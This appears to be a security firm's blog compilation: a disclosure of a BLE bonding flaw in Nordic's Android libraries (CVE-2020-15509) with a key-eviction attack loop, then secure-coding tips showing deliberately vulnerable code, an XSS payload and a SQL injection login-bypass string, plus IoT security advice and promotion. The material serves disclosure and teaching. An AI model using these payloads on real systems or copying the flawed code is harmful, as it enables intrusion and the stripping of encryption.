An Android developer can call the function createBond() to establish a bond with a BLE device. In theory, this function should return true when bonding succeeds. Unfortunately, there is a long-standing confusion in the Android API, which I have already reported to Google. When both devices already have the bonding keys stored and reuse those keys in a future bonding event, the function returns false, even though the bonding process completes successfully and the communication is encrypted.

This behavior misleads developers into believing that bonding has failed, while in reality, the devices have securely bonded and are communicating with encryption enabled.

Standing on the shoulders of vulnerable giants

Nordic Semiconductor has created a very useful and easy to use Android library that simplifies Bluetooth Low Energy communication for developers. However, I discovered a vulnerability in this library that allows an attacker to strip BLE encryption, while the user is led to believe that the communication is still protected. This happens because the library handles certain bonding and encryption states incorrectly, creating a false sense of security.

Two libraries of Nordic’s Semiconductors are affected:

• https://github.com/NordicSemiconductor/Android-BLE-Library

• https://github.com/NordicSemiconductor/Android-DFU-Library

The Android-BLE-Library is used by developers to handle BLE Connections.
The Android-DFU-Library is used by developers to upgrade their BLE firmware over the air.

I tested several random BLE applications that use BLE bonding, and that rely on the specific bonding function provided by the Nordic library. The applications I examined are listed below:

• LINKA (An application for a ~$200 Smart Bike Lock) — com.linka.lockapp.aos

• Smart Lock — services.singularity.smartlock

• Noke (A ~$60 smart lock) — com.fuzdesigns.noke

• MiLocks BLE — tw.auther.milocks_ble

• nRF Connect (nordic’s product)

• Mi Home — com.xiaomi.smarthome

An application that does not rely on Nordic’s library is Phantom Lock (com.plantraco.coolapps.phantomlock). However, Phantom Lock creates a BLE bond without checking the result of the bonding process. This means the application assumes bonding is successful even when the system reports a failure, which leads to the same type of security issue.

The vulnerability appears in both of Nordic’s libraries, so for clarity we will focus on only one of them, the Android DFU Library. The problematic behavior can be found in the class no.nordicsemi.android.dfu/BaseDfuImpl

/**
	 * Creates bond to the device. Works on all APIs since 18th (Android 4.3).
	 *
	 * @return true if it's already bonded or the bonding has started
	 */
	@SuppressWarnings("UnusedReturnValue")
	boolean createBond() {
		final BluetoothDevice device = mGatt.getDevice();
		if (device.getBondState() == BluetoothDevice.BOND_BONDED)
			return true;

		boolean result;
		mRequestCompleted = false;

		mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_VERBOSE, "Starting pairing...");
		if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
			mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_DEBUG, "gatt.getDevice().createBond()");
			result = device.createBond();
		} else {
			result = createBondApi18(device);
		}

		// We have to wait until device is bounded
		try {
			synchronized (mLock) {
				while (!mRequestCompleted && !mAborted)
					mLock.wait();
			}
		} catch (final InterruptedException e) {
			loge("Sleeping interrupted", e);
		}
		return result;
	}

The Nordic createBond function is used by developers to secure communication between the mobile device and a BLE peripheral, such as a heart rate monitor. Instead of explicitly starting and enforcing an encryption procedure, developers often rely on getBondState() to determine the current bonding status. At first glance, this seems correct, because the Android documentation makes the process appear straightforward and reliable.

However, the issue arises when the bond state does not accurately reflect the real security state of the connection, which leads to incorrect assumptions about whether encryption is actually enabled.

BluetoothDevice | Android Developers

AccessibilityService.MagnificationController.OnMagnificationChangedListener

developer.android.com

By inspecting the method, nothing appears to be wrong. The function simply returns the bond state of the remote device, and this value can be BOND_NONE, BOND_BONDING, or BOND_BONDED. The problem is that this behavior is misleading. Developers often assume that getBondState() will report the bonding state as it occurred during the most recent bonding attempt. In reality, this is not true.

To understand why, we need to look more closely at the meaning of the BOND_BONDED state.

The getBondState() function returns the constant BOND_BONDED when a bonding key is stored on the device. However, this does not guarantee that the device is currently bonded with the peripheral. The communication may still be happening in plain text. The presence of the BOND_BONDED state only indicates that the Android system has a stored key for that Bluetooth device, and that this key could be used if bonding is successfully re-established.

In fact, getBondState() can return BOND_BONDED even when the mobile device is not paired with any device at that moment. This is because the state does not reflect an active secure connection. It only reflects that a key exists somewhere in the system.

Developers were understandably misled by the Android documentation into believing that getBondState() reports the current bonding state. As a result, many applications assume that BOND_BONDED means “encryption is active,” when in reality, it only means “a key exists,” even if the recent bonding attempt failed and no encryption is actually being used.

The attack

There are many vectors to attack. The most obvious one is to attack the peripheral in order to eliminate the slots available for keys. Most BLE chipsets found on every IoT device have limited memory size and thus the old keys (of different devices) are replaced by newer keys. Evicting all previous keys is possible by masquerading the BDADDR and then bond a few hundred times to the targeted peripheral. That way all previous LTK keys are evicted and dump keys are stored on the device. Finally, this will help us to achieve our goal because the bug in the library will not create a bond by default and the user is notified that the connection is secure (we don’t need to do any further steps, the traffic will be unencrypted without any further action).

Another attack vector is to hijack the communication before the two paired devices become paired. At the time of a connection request, an adversary could hijack the connection and respond as the peripheral indicating that no keys are stored in the peripheral’s memory. It is not a very difficult attack to implement as the connection request is initiated on the advertisement channels and those are static (no FHSS).

Confusion = Bug = Vulnerability

Below, I present several findings about the state of each device, the outcome of Android’s native createBond() method, and the result that developers would reasonably expect. These observations help clarify how the bonding process behaves in practice, and how the API responses can differ from what most developers assume.

As we can see in the final row of the table, when both devices already have bonding keys stored, the createBond() method appears to behave incorrectly by returning false. This makes it difficult for developers to build a reliable and secure bonding workflow, and it often leads to incorrect assumptions in application logic. This is exactly how the bug in the Nordic library was introduced, and unfortunately, it results in a security issue.

It is important to understand that even though createBond() returns false, the communication is still encrypted and the bond has been successfully re-established. The misleading return value is caused by the asynchronous nature of the bonding process. When examining the internal Bluetooth service, we can see that if the device’s current state is not BOND_NONE, the method simply returns false. This behavior is confusing for developers, who expect the method to indicate whether bonding has succeeded in the current session, not simply whether a key already exists.

The communication with the nordic’s PSIRT team

…Our Team confirmed a problem, being able to connect to a device with erased bond information despite the Android showing bond status as BONDED.
However, the issue seems to appear from Android side. Method createBond() on Android returns false every time the bond information is present on client (Android) side, also when it’s present on peripheral side. Therefore, the two situations (valid bond on both sides and bond info on client side, thus unencrypted link) are indistinguishable. …
[Part of Communication with Nordic’s PSIRT Team]

What nordic told me is partly true. When the client has the key but PE does not, its safe and SHOULD return false because returning true would be a major security issue. This is because the user should be warned if the peripheral has no keys (an attack could have been in place otherwise). This could be avoided if a re-paring could be enforced but android does not support such mid-level operations. The answer is partially true as the android indeed provides a confusing return output, as I mentioned before.

The first insecure patch

…To check if the device is paired (which is not 100% reliable), we do check if CCCD are still enabled after reconnection. That assumes that CCCD state is preserved for bonded devices, which usually is true, and can be faked on a remote device pretending being the one (the same address, CCCD enabled by default).
Therefore, it seems that on Android it is not possible to check if you are truly bonded without using some 3rd party encryption mechanism to get this info from the device using GATT.
Not checking bond state before calling createBond() will cause an error even if the devices are bonded correctly.
We would recommend you to contact Google about this issue…
[Part of Communication with Nordic’s PSIRT Team]

They already patched the library with a solution that is far away from a secure solution.

Their change is displayed below (they changed only Android-BLE-Library as the Android-DFU-Library is still un-patched).

Patched Version of vulnerable function createBond():

private boolean internalCreateBond() {
    final BluetoothDevice device = bluetoothDevice;
    if (device == null)
        return false;

    log(Log.VERBOSE, "Starting bonding...");

    // Warning: The check below only ensures that the bond information is present on the
    //          Android side, not on both. If the bond information has been remove from the
    //          peripheral side, the code below will notify bonding as success, but in fact the
    //          link will not be encrypted! Currently there is no way to ensure that the link
    //          is secure.
    //          Android, despite reporting bond state as BONDED, creates an unencrypted link
    //          and does not report this as a problem. Calling createBond() on a valid,
    //          encrypted link, to ensure that the link is encrypted, returns false (error).
    //          The same result is returned if only the Android side has bond information,
    //          making both cases indistinguishable.
    //
    // Solution: To make sure that sensitive data are sent only on encrypted link make sure
    //           the characteristic/descriptor is protected and reading/writing to it will
    //           initiate bonding request.
    if (device.getBondState() == BluetoothDevice.BOND_BONDED) {
        log(Log.WARN, "Bond information present on client, skipping bonding");
        request.notifySuccess(device);
        nextRequest(true);
        return true;
    }

    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
        log(Log.DEBUG, "device.createBond()");
        return device.createBond();
    } else {
        /*
         * There is a createBond() method in BluetoothDevice class but for now it's hidden.
         * We will call it using reflections. It has been revealed in KitKat (Api19).
         */
        try {
            final Method createBond = device.getClass().getMethod("createBond");
            log(Log.DEBUG, "device.createBond() (hidden)");
            //noinspection ConstantConditions
            return (Boolean) createBond.invoke(device);
        } catch (final Exception e) {
            Log.w(TAG, "An exception occurred while creating bond", e);
        }
    }
    return false;
}

I find their solution a bit naive. It does not solve the problem and assumes the peripheral has a client characteristic configuration descriptor (this could also be faked). This is insecure.

Attack Mitigation and a recommended patch

I suggested a mitigation technique that is easy to implement and will secure the application until google fixes their framework. My recommended mitigation is to invoke android’s native createBond() each time the user wishes to have encrypted communication and then check the result. Then, check the current bond state.

If the result is false and the bond state is BOND_BONDED, just remove the key and try again.

If it fails and the bond state is BOND_NONE, then it just failed and now you may terminate the connection to protect the user’s privacy.

To understand how this can be solved, let’s examine the tables below:

Before erasing the bond key

After erasing the bond key

The two corner cases developers must pay attention to are the second row and the fourth row. These are the situations in which createBond() returns false. Because the Android API does not clearly indicate whether the key exists on the peripheral side, and because the bonding method behaves in a confusing way, it becomes impossible to reliably distinguish between these two conditions based on the API alone.

However, there is a practical workaround. By deleting the stored key on the phone, the bonding state shifts into the first or third row conditions. In both of these states, createBond() will return true, which means the bonding process will be retried properly. This ensures that encryption is correctly established, and the communication becomes secure. With this approach, the bonding logic becomes predictable, and the solution works reliably.

I forwarded my recommendation to the PSIRT team, they implemented my approach and patched the vulnerability successfully.

Attack Limitations

The effectiveness of the attack becomes limited when the central device attempts to access an authenticated characteristic, because bonding must occur in order to proceed. In such cases, the behavior of createBond() does not affect the outcome. The bonding process will complete as required, and the connection will be properly secured without any issues.

Coordinated Vulnerability Disclosure Time Table

• 23/06/2020: Vulnerability Found

• 24/06/2020: Vulnerability Report Sent to Nordic’s PSIRT

• 01/07/2020: Nordic’s First Patch (only on Android-BLE-Library)

• 02/07/2020: Nordic Confirmed the security bug

• 02/07/2020: Nordic Notified about the insecure patch

• 02/07/2020: CVE Request

• 02/07/2020: CVE Received (CVE-2020–15509)

• 03/07/2020: Published

Implementation

The attack is implemented with a custom developed tool.

This is a prototype of a product on which I will launch in the following months.

The Java SDK is not yet published.

The attack using the custom SDK and custom Hardware is done in under 5 lines of code. The total program is under 100 lines of code (that little program is based on my own SDK which is around 10k lines of code and a firmware of around 20k LOC).

Update: I created a slim version of this tool called BLE:bit. It’s open-source and open-hardware. You can find it here: https://blebit.io

Update: I closed-sourced the tool and is no longer a public project.

private static void startNoricAttack(CEController ce) throws Exception
	{
		for(int i=0; i<100; i++)
		{
                        selectRandomMac();			ce.connect(target, ConnectionTypesCommon.AddressType.RANDOM_STATIC_ADDR);
			ce.bondNow(true);
			try {Thread.sleep(100);}catch(InterruptedException iex) {}
			ce.disconnect(19);
			int peer_id = getPeerId();
			ce.deletePeerBond(peer_id);
		}
	}

“Breaking their Defense” Series

In this series dive into the thrilling depths of my role as a penetration tester. Experience the adrenaline-pumping reality of simulating an attacker in real-life engagements, seen through my lens. Discover how I infiltrate what my clients proudly dub their 'digital fortress,' daringly challenging their perception of invincibility. My mission? To uncover not just that I can penetrate their defenses, but to identify and expose every chink in their armor that puts their most valuable asset at risk - information.

Previous Article: “Breaking their Defense - Hacking Stories”

Common Security Bugs

Let's dive into the common missteps developers often make - the pitfalls we frequently uncover during our penetration tests. By reading this insightful article filled with mini-stories about various bugs, you'll be able to zero-out the most common errors and bolster your security measures.

One to rule them all - Improper Access Controls

In our tests, the bug we run into the most is a missing 'Access Control' mechanisms. We often see that web or mobile apps skip crucial checks, letting users (those who aren't supposed to) see information they're not meant to. This usually happens as the folks building the back end of the app believe that if a user can't reach certain information through the normal user screen, they can't get to it at all. At other times, it's simply an oversight.

IDOR

The most common type of access control bug is what is called an IDOR (Insecure Direct Object Reference). What’s that? This is a particular type of bug were the request is based on an ID (the reference). Such ID represents the information to be fetched (the document, the database record, etc). Often, such IDs are predictable. For example, my documents shown through the User-Interface are “invoice-01.doc” and “invoice-02.doc”. Such documents to be retrieved can be fetched through the endpoint /documents/<doc-id>. The UI retrieves the previously mentioned documents by calling /documents/4145 and /documents/4159 respectively. However, based on the incremental nature of the ID, one could brute-force the range of documents (i.e from 0 to 10000) and retrieve all documents of all users. A proper access control shouldn’t allow that. Don’t be fooled by the assumption that the type of interface you are using is safer as that doesn’t make a difference - GraphQL, RESTful or any other kind of interface.

Modern apps often use UUIDs, which are unique 128-bit IDs, rather than simple IDs. For instance, a UUID might look like this: '47b3c2cc-3f5c-46d5-a84a-22ae5d3031a4'. It's pretty tough to guess these UUIDs and randomly find a document. But, if someone happens to see the UUID (maybe they peek over your shoulder), they could use it to pull up the document in their own session. So, even though it might seem safer than using simple IDs, it can still be a security issue.

Unusual Ones

Some access controls can be quite unusual. Let me tell you a story. Once, I was working with an app that redirected you to the regular user interface if you tried to go to the admin area. It looked like a good security measure. But was it really?

What they did was load all the necessary JavaScript libraries for the admin UI without a problem. But before the page started loading any data, it would check with the server if the user was an admin. If yes, it would proceed to load the admin data onto the UI. If no, it would redirect the user back to their regular dashboard.

But there was a way around this. If we “skipped” the admin check and triggered the next steps manually, we could use the full admin UI! How did we do it? We cheated. We didn’t even had to skip it. We just changed the response from the server that the JavaScript saw. We made it look like the server said we were admins. After all, we control what happens on our side of the screen. That's the nature of client-side code. The issue wasn't with the front-end, it was with the back-end. They relied too heavily on the front-end to handle access control. Remember, access control should ALWAYS be implemented at the back-end.

Escalation of Privileges

Access control issues can sometimes lead to a problem known as privilege escalation. This is when a user gains more access rights or powers within a system than they should have. Although it's a big enough issue to talk about on its own, it often comes about because of other missing access controls. So, we're discussing it in this context.

Let's look at an example using the FastAPI Web Framework. This is a piece of software that changes a user's role within a system:

@app.post('/change_role')
async def change_role(role: UserRole, current_user: User = Depends(get_current_user)):

    user = User.query.get(role.user_id)
    if not user:
        raise HTTPException(status_code=400, detail='User does not exist')

    if role.new_role not in ['admin', 'user', 'guest']:
        raise HTTPException(status_code=400, detail='Invalid role')

    user.role = role.new_role
    db.session.commit()

    return {'message': 'Role changed successfully'}

Even if you don't know much about coding, you can see there's a problem. The software doesn't check if a request is coming from a normal user or an admin user. This means a normal user could potentially change their own role and make themselves an admin. Once they've done that, they could go to the admin panel (because the system now thinks they're a real admin), and do anything an admin can do. You have no idea how often we find these kind of vulnerabilities - more often than you may think.

This simple code could have prevent the worst and fix the vulnerable code mentioned before:

if current_user.role != 'admin':
        raise HTTPException(status_code=400, detail='Only admins can change roles')

Now, how can you tackle such problems? Usually, when handling data, you pull it from a database by making requests. You could create a separate request to confirm that the user has the right permissions. Or, you could include proper checks in a single request to ensure the retrieved data is appropriate for the user.

Take this as an example:

Missing an access control mechanism:

app.get('/user/:id', async (req, res) => {
    const user = await User.findById(req.params.id);
    res.json(user);
});

An access control mechanism is in-place:

app.get('/user/:id', async (req, res) => {
[...]
        if(user.role === 'admin' || user.id === req.thisUser.id) {
            const userData = await User.findById(req.params.id); 
            res.json(userData); // Return user data
        } else {
            return res.sendStatus(403);
        }
[...]

Injections

Injections are the second type of common misconfiguration. Injections is a generic category, an umbrella of specific injection vulnerabilities, which among others are “SQL and NoSQL Injection”, “XSS Injection”, “Command Injection”, “Code Injection” and more. The most common injections are the SQL and NoSQL Injections as well as XSS Injections.

Cross-Site Scripting

XSS vulnerabilities are also among the common ones. Such vulnerability deserves a category on its own but I have placed the vulnerability class under “injections” as the most usual XSS Vulnerabilities were raised through data injected by the attacker.

XSS vulnerabilities, meaning Cross-Site Scripting, is when an attacker injects a piece of client-side code which will be somehow called on the other user’s browser. Then, the code can steal the cookies that sets the session or even execute actions on behalf of the user by making requests to the server through the victim’s browser. This type of attack mostly happens on web applications where the browser is involved.

Here is an example of a vulnerable PHP Code snippet that lists the user’s usernames:

<?php
[...]
$result = $db->query("SELECT * FROM users");

echo "<ul>";
while ($row = $result->fetch_assoc()) {
    echo "<li>" . $row['username'] . "</li>";
}

echo "</ul>";
[...]
?>

Then the attacker could change their own username and place the following payload instead:

<script>users.deleteUser(30)</script>John

If the listing shown in administrator’s page, it will delete the user having ID 30. If listed on a normal user’s screen nothing will happen. In either case, the username list will include the username too, hiding the malicious code that has been executed.

SQL and NoSQL Injections

SQL and NoSQL Injections happen when an attacker manages to mix their own input with a database query. This usually happens when the system takes user data, doesn't properly sanitize it, and then includes it in a database request. The user could potentially alter the database query in ways that weren't planned by the application developers. So, it's very important to always clean the data first.

Many people these days use Object-Relational Mapping (ORM), which is a safer way to query databases. But when developers have to make their own custom queries, they often use prepared statements to keep things secure.

However, even with these tools, the most important factor is educating developers about security. For instance, I once found a blind SQL Injection attack that let me pull all the data from a database. I immediately let the customer know about this critical problem. I worked closely with their team to help fix it, and they told me it was resolved. But when I checked again, the problem was still there. They insisted they had used prepared statements, a recommended secure practice. But how they had used them showed that they hadn't been properly trained in writing secure code.

Here is a classic payload example that may bypass your login function. The following can be put into the password field:

' or 1=1 --

I won't go into detail explaining SQL Injections here, as it's a well-known example and you can easily find explanations online.

If you rush to try this on your own app and it doesn't work, don't be misled. SQL Injection is almost like a science. We usually test a wide range of attack strategies based on the information we have, such as the type of database, any firewall rules, and more. Remember, the attack strategy can be changed over and over, depending on how the app responds.

Want to keep safe from SQL Injections? You can use prepared statements or an Object-Relational Mapping (ORM) model. But that's not enough. You should really understand the tools you're using. Don't just copy and paste code that seems to work without fully grasping what it does. Consider taking courses that focus on how to code securely. This way, you won't just know what functions to use, but also how to use them properly. Even then, you can reach out to us to make sure the code pass the penetration tests!

Let me upload a file

Many web applications we test allow users to upload files. If the file upload feature isn't designed carefully, it can lead to big problems.

In many cases, uploaded files are stored on the same web server that hosts the application code (this is common with PHP or ASP). So, if the application code is in a folder named /controller/<code-file.ext>, the files might be stored under /files/<uploaded-file.ext>. How these files are treated - whether they're run as code or offered for download - depends on their file type, and that's decided by the web server when a request is made.

An attack using this vulnerability typically happens in two stages. First, a user uploads a file. Then, the user (or someone else) downloads that file, which triggers the server to do something with it. Attackers target the upload process to trick the web server into treating the uploaded file as executable code rather than a file for download (for example, uploading a PHP file instead of an image).

Once a user runs code that an attacker uploaded, it's basically all over. The server's interpreter runs the attacker's code just like it would any other part of the application.

There's no one-size-fits-all solution to this, but a good start is to use the secure file upload features that most web frameworks offer. If your application runs on the web server's interpreter, you could also consider these defensive steps:

Firstly, always change the permissions of the upload path to make it non-executable. This helps prevent remote code execution, even if a vulnerability is found.

Secondly, move the upload directory to a location that isn't accessible to an attacker, like /uploads/ instead of /var/www/html/uploads. Even if an attacker finds a vulnerability (which they shouldn't), they can't run the file because they can't ask the web server to download it. To allow downloads in this setup, you'd need to manually read the file and send it to the user, including the correct HTTP headers.

You are not untouchable

Some folks believe they're untouchable, writing code that's as secure as Fort Knox. But guess what? Eventually they get hacked! The best way to truly gauge your coding skills is to get a penetration test done. Let us find the loopholes in your system before someone else does. Above all, stay informed about the latest tech threats and how to guard against them.

Contact us now to talk about penetration testing or whatever else might bothering you.

White Hat Hackers are here to help you, so take advantage of us!

You can find our our offered services at https://cybervelia.com/

Contact us now!

https://github.com/cybervelia/graphicator

Denial-of-Service

Many developers may put a lot of effort in properly configuring the network settings or even updating the libraries, however, their device may end-up being vulnerable to denial-of-service attacks. Such attacks make the device being unusable by the user, having the user blaming the vendor (that is, you). The user doesn’t have the training or the background to understand what went wrong, and thus the user won’t be able to understand that he may be under attack.

There are two forms of denial-of-service, a temporary DOS and permanent DOS. A temporary DOS is happening when the attack lasts as long as the attacker is performing the attack. On the other hand, the permanent DOS is when the attacker managed to alter the state of the device in a way that is now unusable, and thus the communication, or the state of the device, cannot be recovered.

The DOS attack may not be solely mistake during the development time, but of integration time. The vulnerability may lie in a dependency packet which is vulnerable to denial-of-service.

Hardcoded Passwords

A product may use any of the myriad software solutions out-there to ensure the confidentiality of the user’s data. Depending on the implementation mechanism used, the process may not be so easy. For example, in Bluetooth Low Energy, setting up a password may have some some hardware requirements depending on the configuration settings. Therefore, the developers often use to set up a basic configuration using a static hard-coded password (or PIN), with the hope that he or she, will replace it with a dynamic one later on. However, due to the nature of the mechanisms, it may be impossible to change the project to reflect the dynamic allocation of the key. Then, the developers are based on what we used to say “security by obscurity” and continue to use the hardcoded password in production code.

By using the user’s data by a static key, isn’t protecting the confidentiality at all. Actually, it is like it never existed, as the key is there fore anyone to find. Given enough time and resources, the key can be found.

Firmware extraction

Many vulnerabilities were found by extracting and analyzing the firmware. When the source-code is not available, the firmware can provide a low-level insight of the code. Even though extracting and reverse engineering a firmware is tedious and demanding task, this is achievable. Therefore, your software shall not keep “secret” keys or files, as those can be compromised. Moreover, the software may have vulnerabilities which could be found and used by malicious actors without disclosing them to the vendor. Finally, during the development time, the development teams tend to create debug code, or some functionality that will be removed during the production time. However, some functionality may be left-over without noticing. When found, there are cases where can be used maliciously and can be used as a backdoor into the user’s device. Even this does not occur in firmware extraction category and should be mentioned separately, remember that such functionality is found only when the firmware has been extracted.

Misconfigured network settings

Many gadgets wish to communicate with the user through another device (ie a Mobile Application). In this case, other protocols (supported by both peers) are needed. Often, such protocols are WiFi and Bluetooth. Therefore it is vital to configure such networks to communicate effectively and securely. A misconfiguration of the network or the connection parameters, one may be able to sniff the connection and perform Man-in-the-Middle attack. Additionally, the malicious actor may cause a denial-of-service to the device.

Lack of privacy protections

The privacy of the user is very important and you should keep it in mind while developing any kind of commodity hardware. It’s sad to see that most vendors don’t care about user’s privacy, even when it’s on OWASP Top 10 proactive security list.

The user’s privacy must be protected in all layers of the product, such us in hardware and software. For example, in software, the device’s address such as the MAC address can be static and thus leaking the user’s identity. One can stalk the user by using the MAC address. A mitigation is to configure the device to use randomized address or generate a random resolvable address. Another example, is when broadcasting data containing user’s personal identifiable information (PII).

Default Settings

Currently, there are ten of million of devices produced and delivered having default configurations, including default credentials. Various vendors tend to provide products having a default password, having the user to change the password (or settings – ie Network Settings) as needed. However, most users don’t, which often leads to a compromise of their device. Therefore, the brand gain bad reputation as multiple devices are being targeted, remotely or locally, because of the product is shipped with default settings including default passwords and weak network settings.

Outdated or unmaintained OSS

A hardware takes some months to be developed and a lot of effort is put onto it. Having a major change in the software-side may delay the project for weeks. Equivalently, that means man-hour which translates to money.

Many developers rush into selecting the libraries which works best, and to quickly catch-up with the deadline of the project. However, often, many of the currently used libraries are outdated and contains several vulnerabilities. Such vulnerabilities are now part of your product, thus making your product vulnerable to attacks.

In the past, there wasn’t such an issue for gadgets. However, modern gadgets contain much more software and interacts with other systems, transferring keys and sensitive data. When i’ m talking about sensitive data am not referring only to PII but also to even more sensitive data. For example, imagine having a device which transfers data through a vulnerable implementation of Bluetooth, and thus transferring cryptographic private keys (i.e it may be part of a crypto-currency network). As you can see, the wallet of the user may lie in the security of your product.

Sometime, the developer is not who to blame, but the same development environment. For developers to speed-up the development cycle, may choose to use IDEs that have installed plugins which help in installing the necessary libraries and/or dependencies for the project. However, such plugins pulls the software database, binaries or source-code from a predefined source. Such source may integrate outdated software and thus, the version of the dependencies must always be checked against known vulnerabilities. Even more severe issue, is when integrating with unmaintained software. Even if such software works now, and even when no known vulnerabilities exist, the system may be vulnerable to future attacks which will remain unresolved and unfixed, as the vendor stopped supporting such software.

The best practice for outdated and unmaintained software, is getting your-self updated. Make sure you have the latest versions of your software, and that the version you are using isn’t affected by known vulnerabilities. I could have said that there are known software that may help you handle all of this, but then i would lie. The best solution, is you!

Insecure update mechanisms

Software needs to be updated. The reason may be bugs needs to be fixed, features has been added or vulnerabilities discovered and have been resolved. In any case, a software update must be pushed to the gadgets. A common way to easily update hardware gadgets is through WiFi access (if the device has any), or through a mobile app (communicating via Bluetooth).

The update mechanism is very important to be secure as a malicious actor could push a different update which could lead to the full compromise of the end-device.

There are multiple ways to attack an insecure mechanism, starting from the endpoint’s configuration (ie server’s communication – HTTP/HTTPS), to the delivery mechanism (such as Bluetooth DFU). The vendor, that is, you, must be sure the packet is transferred directly to the device in a secure way, and that has not been modified by anyone in between.

Some of the vendors we have seen out-there used to encrypt their update payload and transfer the data through an insecure network. That way, nothing needs to be secure right? The data may be signed as well. Well, almost. What they have not calculated right, is that the decryption and signing has been done by using a key which was burred inside the hardware, and that key, was same for everyone. That way, by extracting the key once, one can intercept and modify the intercepted payload of any other device.

Insecure in-house protocols

When a gadget is controlled by another device (i.e an application), often developers tend to create their own custom protocols to communicate with it. In such case, the protocol is stacked on top of other network protocols. However, a malicious actor may be able to connect and communicate to the device via an unauthenticated way. The protocol must be hardened and vulnerability-free otherwise the device may be compromised.

Lack of proper education & training

Many companies are afraid to spend a significant budget to properly train their employees. The fear comes from the common pattern of “training following a resignation letter”. The companies have seen this pattern repeated many times, as the company may spend a fortune on an employee which is then leave the company in a short period of time. This is not always the case though.

Over the hundred penetration tests I carried out as a penetration tester in the past, I have seen the same mistakes over and over again, from the same companies, even from the same developers. Even though we explained the mitigation and the root cause of the problem, the developers were unable to understand the problem completely. This is because they fundamentally lacked the core concepts of web security (in case of web applications for example). The same happens in hardware, especially when things becomes tough as both hardware and software attacks exist.

I will end this with the following: I would not worry about a company having up-to-date and fully trained people which may, or may not, leave the company after some time, but I would mostly worry on having employees which haven’t been educated for a long time and stay in the company forever!

The knowledge of your employees is reflected in your products, either you want it or not.

Cybervelia helps its customers to solve this problem, by providing in-depth trainings with organized hackathons which are totally focused on security and tailored to the needs of the client. A specialized platform is provided and we ask for our clients to dedicate a day or two, so the employees have fun, learn and team-up to solve security coding challenges together.

Trust Who?

The developers are very good in what they do: they develop software. However, they might oversea a configuration parameter, may lack knowledge to the protocols, or they may have designed a vulnerable code snippet which may put the whole product at risk.

Why don’t you put your trust in us, to make sure your products are secure?

At Cybervelia, we can protect your users by securing your products. We will have a look to the product without requiring you to give us any kind of code or design blueprints. We can then use our own customized hardware and software, and attach them to your product in order to assist in finding any kind of hardware and software vulnerabilities, as well as misconfigurations of the product.

There are hundred of companies that excel in testing hardware devices encompassed in the Internet of Things. I doubt if the major number of companies are any good at properly testing the Bluetooth side of things though.

I can’t argue that many testers have been trained and gained some useful insights about the protocol. But how well have they been trained? There is no free or low-budget BLE standalone course for security. Also, most of the time the BLE is always included as a sub-section, side by side with other protocols. Therefore the current courses don’t focus much on the Bluetooth Low Energy protocol and that doesn’t perform very well.

BLE Vulnerabilities

During my path discovering the protocol, I managed to uncover many areas of the protocol which unfortunately go unnoticed by so many testers:

• Access Control

• Authentication Bypass

• Privacy Issues – compromising PII

• Buffer Overflows

• Memory Corruption

• Denial-of-Service

• Security misconfigurations leading to certain vulnerabilities

• Pairing-oriented attacks

The above vulnerabilities directly affect the end-user and the application layer. Many developers are trying to push the responsibility to the BLE vendor off-loading the security part of the product. However, the vendor has little to do with the aforementioned vulnerabilities. They need someone like you to bring light into these areas and keep them educated about who’s responsible for what.

Keep your customers happy

Your customers are happier when your test include many important findings. You should have noticed by now that many of your customers don’t know most of the vulnerabilities you report to them. That is fine, this is your job. Through the time customers get familiar with most of the vulnerabilities. However, in Bluetooth Low Energy it’s even darker area for them because most of the pentest companies are touching it softly – if testing BLE at all – and so the customers get to see fewer BLE-related issues. So get educated in BLE and amaze them with something new!

Finding Online Resources

How about start learning about Bluetooth Low Energy online? I may say it is a good starting point, however, I have been there and I can surely say it isn’t the most efficient path to go. For sure it is the right way to learn the first steps. However, I found it frustrating trying to learn BLE in depth from online sources, because everywhere and anyone is teaching just the basics, repeating what is already there. Also, sometime you need the right terms in order to go deeper into the protocol – terms you don’t know they exist.

The following articles will give you a short boost entering the BLE world:

• Introduction to Bluetooth Low Energy – 50k ft

• Develop Bluetooth Apps | Fundamentals, Tools & Coding

But don’t go just yet, the best still to come.

What about tools?

There are a ton of tools out-there, some badly designed but also some very good designed and cool tools too. Many of them have been developed years ago and they’ve got a good maturity level. In the other hand, many tools have been abandoned and as a result became obsolete.

Through my BLE journey I have seen MOST of the tools out-there are struggling to get installed in the latest operating systems. Furthermore, not all tools can be installed in all operating systems. That’s not enough, because I still needed a bunch of different tools to have complete picture of the security posture of the target.

To give back to the community I have developed my own BLE testing tool and published it for free – it is an open software and open hardware too! I won’t go into explaining what the tool does. Also I have to say that the tool is not for all kind of things, however it does pretty much most of the tasks I need to do during my tests and research.

What requires to master Bluetooth Low Energy?

It needs the right tools properly designed for each test.

It needs resources and concentrated knowledge.

It needs dedication and focus.

It needs the right methodology.

Even with the right tools, I still needed to climb high enough, learn the protocol by my-self and develop the right methodology, which took years. Through the years I gained the experience and knowledge to say I am in a position to confidently and thoroughly testing a device. Due to the lack of information I had to crawl to the Bluetooth specification which is a ton of formal pages. Even then, had to develop my own firmware and software to better understand some concepts.

I also delved into the research part and created my own fuzzers acting in many layers of the protocol – not just in the application layer. I touched the linux and android kernel to understand how I can communicate with the OS in the lower possible level. I had to learn how to bypass the OS and directly speak to the controller. Finally, I have completely skipped the OS and created my own controller using open-source stacks, which I have modified to attack the peer device.

The effort I put into was rewarding as I discovered many vulnerabilities in the products of major BLE manufacturing companies.

Learning BLE – How?

I have gone way far away than anyone should go, in order to conduct a penetration test. So how far do you need to go? I could say definitely further from what free internet can give you, but surely less than delving into the firmware level.

So what are the right tools for a tester?

How do you find the right resources teaching you enough to feel comfortable testing BLE devices?

How do you even start entering into Bluetooth Low Energy?

Considering the time I put into, how do I get certified?

Register to our BLE Security course for free! Contact the author to get an invitation code to the course. It’s a massive text-based course of 16 labs and 400 pages of material explaining each and every step of hacking into BLE.

Most of the IoT products are very small in size, and some of them may not have an interface at all – maybe just a push button. They are tiny with small battery hence are low-powered devices. A low power consumption is needed. And that’s their challenge. Often, the products needs to communicate either to their gateway or to a mobile application. That’s where often the mistake happens. They do sacrifice the wireless security for the sake of simplicity and cost.

The Wireless Medium

In this article we are going to talk about Bluetooth-Low-Energy communication and discuss some vendor implementations mistakes while discussing best practices.

Most of the products we see communicate with a mobile application which allows the user to tune some parameters of the device. Such parameters however, may be critical for the lifetime of the device, its availability or the compromise of sensitive user data.

